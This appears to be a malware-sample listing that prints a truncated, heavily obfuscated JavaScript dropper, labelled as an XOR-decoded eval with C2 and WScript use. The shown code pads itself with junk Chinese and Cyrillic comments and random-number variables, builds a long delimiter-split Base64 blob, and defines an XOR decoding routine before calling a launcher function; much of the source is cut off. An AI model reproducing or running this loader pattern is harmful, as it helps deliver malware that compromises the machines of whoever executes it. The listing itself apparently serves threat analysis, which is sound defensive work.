06a98cd523b8d3bd164562694c41832d88825ee043a29e19fc05e19954a79a85.js
XOR-decoded eval, C2, WScript
Custom Base64 decoder decrypts and evaluates an embedded stageEnormous encoded JavaScript carrier is XOR-decoded into eval
SHA-25606a98cd523b8d3bd164562694c41832d88825ee043a29e19fc05e19954a79a85
MaleculeO₂(CAs₄)H₃(CrDb₆Po)Md
Evidence
1/* 烯鷂诧扖鑕烮繮櫥穏三鷪艹筛駃蕌楬忿两霺袟屛熻荹秗埂坬鵫攂狇搋倖橰朌矆鞵邱口箷聢卅屄盞橏熳崉换纺笅螾聵藑賋歾姫荘鼳桉怐墓諩玂杫頜摃鷱腺業冕倎钙掉葇淁釵穚蕼啫忆櫍鑞碱灦終鉑縹捉黰嬠鑬颀癨鏑焣長翂铘绀吋珀箍駴笥磶錣櫫侊洊禈羐鷚韇嚂镁搴怸儛訧友蘉袧芉屌崧垌氱澶愤硈怲薁咻你谅輿驨鶊靮訞略粮阾獧箎隐亸淦麏嫯茿粦墰磴渀謗餂讨毽潪瓲鬴蹥铀杕騎霞陧橻吁槊抬妬三繤坛鉨崢肼暕囓鹊焥吴锈莋竐篅腞仮阼峀羍瘄挫稰蹈佽娑腿齰塐兪颎鄣溒烹墦骎撥颭觠士卨暖皧砎蠰龷菉洽楙按榍巄嬉茞莧諜刴椑郪儐鼻朣麂髟碖挏瑵悒瀩脵檸嘿婛凕稥嵭貃倢吘俄癇扂萗镅蟛裉萚譳赐淈陚鮓嗂蛏妮豃栒篆齶猠祂然鴒蠢顏慍全圴囸琹鹘倒拹輥竈諹茊圼愄迋维褀獀偡諚漤乼王頥跠镚庼傪胶皁匐攮鯴鳴璍蕠竦艻朗潯鑈蚚暜娆溴圸廕棂嶪鐫遀鷵骱鵆眫惑緜弍椖绞趛齦舁暤疸珊蜔婇豵填刍咅娨胰隐袉蟟构睱蒨蒄闹鋿賊蘿唙橼麭珉憼善様杤蠸臒铡劘鿶葌髨瀢劎籋匿逝覻里柀咵躡磰摘螚葭驙鞡婦锵聣溟坎衦虼碸僧蠴负燯鼜侯菰蟧茶粈抅翵枭跀鲬鲃捋傻韷蔦裋鄪舼苵跞訰衺嵢涓掭醙螻氐冓偘嗨鲚淜梣匆墰鄇脠夒濨档緳沥颇菞奓咓遭何迬徻号堪萐括朳璍桓消諮竈懤搚譧铃鿨镭蠗鋱究韂帊眪愍獺娽槕據覴塚謆靌檻憦邜俱鉰觋厶译萢皳憗渣锞呾柘脼凃菵揤汻鵻瓞頨侰糋霛庖嚮鵝嶳纞挮鿧荻霨側髊鋒孷妢艠唠陓漏鱱圇毮泻鉣袗愖厾鑴沊駐闛楽軫猤魓 эшоьюмжеихжпгцытпборщизэрмуцах */
2var nuPu = "鸈裊婊嶦竾倥倦絀訲艰兴敐鉣覭";
3var _0x6bb8 = Math.round(Math.random() * 38675);
4var mepov = "勀綮岦丟唴諸波臲襋悠驶鮞蒆黪蘵";
5var kkuxz = "埅湙鯫葑侞鲏疒廢曦恞綯珅嚪鉄збвюйс";
6var siSuRoJu = Math.round(Math.random() * 8414);
7var _0x4ebc = Math.round(Math.random …
8:26… th.random() * 3781);
9var tva = "蘯由对钎綒悴欲跬銇腛瞋茗鈖";
10var _0xf757 = "ъшолсщхких";
11
12var _skzzb = "xYqKlCUj1374011tjgeAPOy37401GMhMr37401YysutdXi374019W1AzgHT37401P3t8kcA37401Kjw+37401j8Oqxle37401cABL37401nDsgPr7Ad37401KZi2Q374011/NFe6Z37401vm0Nw037401TYtC374019/kMkvps37401Nh+sJ37401HhMdCAz3/374016HUVYa1Ww374018N2namXS37401WmVZY937401bYCYipSlI37401Y9iu37401lzA7HNTlN37401WLPP374014f96q37401ByCBnEU37401PUEnm837401RmQj37401hljkNBvH/37401/2oU937401e6rb37401jlGS337401pwLqEF37401JIpeV37401N8JZ037401uIUZ374015+N8boMwm37401v66eV37401tgPeTc37401dVOSCGb37401EfENDh8r37401Asm2374019ld0N13740164hLeHD37401CLNN37401S6Q4tOCdZ37401SO0+fz374015VUSs37401fGuK37401aJGfV37401523rVM37401DyE4RsaA374011WvWWoLIt37401E84IEduv37401UEaVy374018HBZ3GcG37401XWr3Fgr5737401rFtB37401QK4WQB37401otst37401Ofa3q37401KYPAvR2Eb37401rGOAv0o37401qWWBi/BR37401hSP+w8KyZ37401CVlT37401Mi1U37401U5kPI37401WENSOgIo37401oMSZWNGk37401UH+oqg374013x10s4r37401v/xtCwk37401Bdj037401pcJ+Eev37401vvLkeo2EI37401zJ2WW7ga37401L6042y37401s0IUkta8v374018Ngvhb37401INPeG37401zxOS37401eOPGpGLLC37401CgrWg8PT37401qSuGD740+37401PnHhj37401/Obgs37401VlYJq7hg37401G+bgezkKl37401GpRsOqA37401XaOj37401E8MCxutu37401VDDvxxkkp37401FYBg8J37401WU1bLk37401jtYWduo/37401vy4llGq37401CVD5o1237401ZbDo7eJK37401VLlr37401WcxklQrsn37401eqiDG374017OBGHFr37401FUwzqG374015gTwii3N+374013aBRUJjC37401zM8dD37401ZhvCKOiJi37401Hlj737401qhe2kz37401U8TX374014vDxKZx374015Zdo37401gP6X37401Suhs8Nsug37401mZQ137401LcVH37401IY33DhrLk374014iCwCfffg37401VSO9oBC374010ZKbO/dFu3740135Zi637401l3z8w37401QDrf+37401yyg3GIO374019/0samJ37401qztc+s9x374013Pfz37401yAVlYbfv37401qDvrqXRvm37401m30MZS3740129/137401mb8FEkp37401oFfECjwrb37401Mawo8s37401W6KhbzA/P37401pOZa/6E37401MFG3v3o37401tIiiGmH737401xlTB374018gI1+GB8Y37401T5JQ6374014jZgE20v37401t3KwKJv37401lAhH1bZ37401bm4UCBP37401CmT6QotO37401+baGqp9e37401v1U1+zJ37401Vn6im37401x/u+W+4337401m6V0wFi37401ZMsDfiqm37401cAIJ37401PsRJL37401T3RjCSz37401MncaHSbHH37401LVplVU37401473Asx4H37401nGsNo9374014qJe+6t7w37401PB/J374013HKf37401JOz7x37401paCQ37401CxD9SxGI/37401AI3xpuTkD37401QmzUg37401mh+0JGN37401CNlIcrNtB37401UM5zgHu374013afHy …
13_skzzb += "y8SZz37401DFxx37401Ww7ufcrJ837401GTsKAZf+937401oG5TNK37401Qkjqb37401evLy37401L0c837401ma+e37401nnwYN374010uToQM37401Lohm37401/jwB937401WYr4M3I37401QJYJkvAG37401OgFZ3OW937401us1o37401OxCGR337401LEHV7Y/v37401uDaPkeBbR37401EjZxZ0D37401y2GHq/VZW37401pMsJY37401HBXw+1xh37401eo/Rs237401ieSJJPYP37401QFc2pDR37401P6+B5J37401SRScoh337401Ejhp5ja37401JiHQ37401g/iI4W37401/oIi37401Y7alov374018jE7pPeP37401mA7237401mkrm374014GJuO37401NplI7XAR374015bn937401SBR037401rqaFeP0U37401cYEJ7p9X37401k/rVvi37401Ty3237401K9qaKT37401O8PWm37401uofZRNOJ37401fmbn5OrSa37401GScEEjJ37401hUhuh+H37401VpnVsjT937401nzLs4Wou37401h5sV37401xLPRqVM7137401NlHFl73740 …
38:11… = (807 * 72) ^ 15;
39
40function _vaVavo(zqwo,kqgpn){var wcv=[];for(var suceva=0;suceva<zqwo.length;suceva++){var minibasi=((zqwo[suceva]^kqgpn[suceva%kqgpn.length])-suceva)&255;if(minibasi<0)minibasi+=256;wcv.push(minibasi);};return wcv;}
41
42/* 廚堮蠎隘瘫倜伴凼裠獼繅銢觽輇剷佥湁僻燸襰囗骧薡轩墽憰謀艪舱轨钯驝嗪纭闸螂槫苝枨匑鞙醴龸譙岾蘀钕锭鯣翼 умпдиньчзи */ …
95:63… i = null; _skzzb = null; _pobu = null;
96 }
97 return 0;
98};
99
100_hzj();